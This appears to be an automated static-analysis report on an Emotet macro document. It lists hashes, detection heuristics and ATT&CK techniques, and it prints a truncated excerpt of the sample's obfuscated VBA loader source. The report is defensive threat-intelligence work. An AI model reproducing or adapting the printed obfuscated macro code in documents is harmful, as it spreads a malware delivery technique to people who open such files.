Emotet — Office (OOXML) malware analysis

Static analysis result for SHA-256 ac562e7935b52ecb…

MALICIOUS

Office (OOXML)

140.3 KB Created: 2019-09-17 06:08:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-02-04
MD5: d4ff54eb639e9a355622c3b4a5c4ddda SHA-1: 0370bd1b86ac3277c9e5012ecd401c4f2e7f3bb0 SHA-256: ac562e7935b52ecb175701ee4e5685674fb9ba73d25111c74bd22e896bda23c1
382 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate or Obfuscate

The sample is an OOXML document containing heavily obfuscated VBA macros, including an AutoOpen macro and calls to CreateObject to launch processes via WMI. ClamAV detections identify it as 'Doc.Downloader.Emotet-7167984-0', strongly suggesting Emotet family. The VBA script's primary function appears to be deobfuscation and execution of a payload, likely involving process creation and potentially downloading further stages.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7167984-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7167984-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 9620 bytes
SHA-256: 4fbc6f58a764d475970549397b2d63b7d6810a1ccbd4bc8dff833edc7c7d62c1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "UHk1ER, 0, 0, MSForms, OptionButton"
Attribute VB_Control = "aC3TmQUb, 1, 1, MSForms, OptionButton"
Attribute VB_Control = "fcBo59, 2, 2, MSForms, OptionButton"
Attribute VB_Control = "jV1ICT, 3, 3, MSForms, OptionButton"
Attribute VB_Control = "OFjUjn, 4, 4, MSForms, OptionButton"
Attribute VB_Control = "aspjRQO, 5, 5, MSForms, OptionButton"
Attribute VB_Control = "BXAiVvW, 6, 6, MSForms, OptionButton"
Attribute VB_Control = "Q1MHNZLH, 7, 7, MSForms, OptionButton"
Attribute VB_Control = "Ajm1Ew_, 8, 8, MSForms, OptionButton"
Attribute VB_Control = "n0mtawGA, 9, 9, MSForms, OptionButton"
Attribute VB_Control = "knPa54, 10, 10, MSForms, OptionButton"
Attribute VB_Control = "Inj8WS, 11, 11, MSForms, OptionButton"

Attribute VB_Name = "OXw5jo"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "ZrbTKF"

Attribute VB_Name = "aqB7U7Yz"

Attribute VB_Name = "Jw5c5Q"

Attribute VB_Name = "c005H9J"

Attribute VB_Name = "XOElLZX"

Attribute VB_Name = "jiRv2z"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "u74_pd"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "ULuQ6PR"
Function wTdBczb0()
      On Error Resume Next
   Ob9kFLj = (tMraBElp + Hex(9) + (3666 + Cos(234324 * Rnd(ldWiAwU_) / 83 + Log(9130)) * 2 + 85))
   For Each knLs In iqwhen
      For Each BVrY355a In WtgzQ71y4
         uiJSbj = xMfau5248 - Fix(pvOb + Round(npy * Fix(KYoI8IEt)) / oZgH7909 + CDbl(qXfS4C1)) - Dzmx6W5 - Log(3 / Chr(67 / 79)) / kBSsssssssssad * Log(915 - Round(23)) / 56 + Oct(oVggW7) / 77 / 42 + DkPTA3642 / Tan(1) / xoJtPK2 / Log(837 / Fix(wwqed / CInt(LtXxD6e6) + nBL - kls) + DVTJJR1 + xBkGD)
      Next
      Do
         T5kANTc = 234 * Tan(n7Ucbra2) - 67 - Sin(zpXA5n74) - sdfD - uHJKd / (lOSjnj_ + CByte(24))
      Loop Until hbKJls Eqv uitGJKBS
   Next
   Set zzwLCFk0 = Ktmr8o2Z
w2qvAVfH = KdkYOcj + ThisDocument.Ajm1Ew_.Caption + ThisDocument.knPa54.Caption + ThisDocument.aspjRQO.Caption + M8nanu
      On Error Resume Next
   ovzlr1 = (JQOYil_ + Hex(863) + (3666 + Cos(234324 * Rnd(CoXEK6) / 83 + Log(9130)) * 2 + 85))
   For Each knLs In iqwhen
      For Each BVrY355a In WtgzQ71y4
         uiJSbj = xMfau5248 - Fix(pvOb + Round(npy * Fix(KYoI8IEt)) / oZgH7909 + CDbl(qXfS4C1)) - Dzmx6W5 - Log(3 / Chr(67 / 79)) / kBSsssssssssad * Log(514 - Round(23)) / 56 + Oct(oVggW7) / 77 / 42 + DkPTA3642 / Tan(1) / xoJtPK2 / Log(837 / Fix(wwqed / CInt(LtXxD6e6) + nBL - kls) + DVTJJR1 + xBkGD)
      Next
      Do
         DzTQqCV = 234 * Tan(dJhIh4vO) - 67 - Sin(zpXA5n74) - sdfD - uHJKd / (m7fJD9GE + CByte(24))
      Loop Until hbKJls Eqv uitGJKBS
   Next
   Set Dn2FFnCb = L5cpA2J
      On Error Resume Next
   otJGGt = (YUaGLm + Hex(163) + (3666 + Cos(234324 * Rnd(Ph3bINA) / 83 + Log(9130)) * 2 + 85))
   For Each knLs In iqwhen
      For Each BVrY355a In WtgzQ71y4
         uiJSbj = xMfau5248 - Fix(pvOb + Round(npy * Fix(KYoI8IEt)) / oZgH7909 + CDbl(qXfS4C1)) - Dzmx6W5 - Log(3 / Chr(67 / 79)) / kBSsssssssssad * Log(813 - Round(23)) / 56 + Oct(oVggW7) / 77 / 42 + DkPTA3642 / Tan(1) / xoJtPK2 / Log(837
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 49664 bytes
SHA-256: f73d44936f764a368e53dbce833025c5413aa16c36ce6ef07cdb6f0071ab71ad
Detection
ClamAV: Doc.Downloader.Emotet-7167984-0
Obfuscation or payload: unlikely

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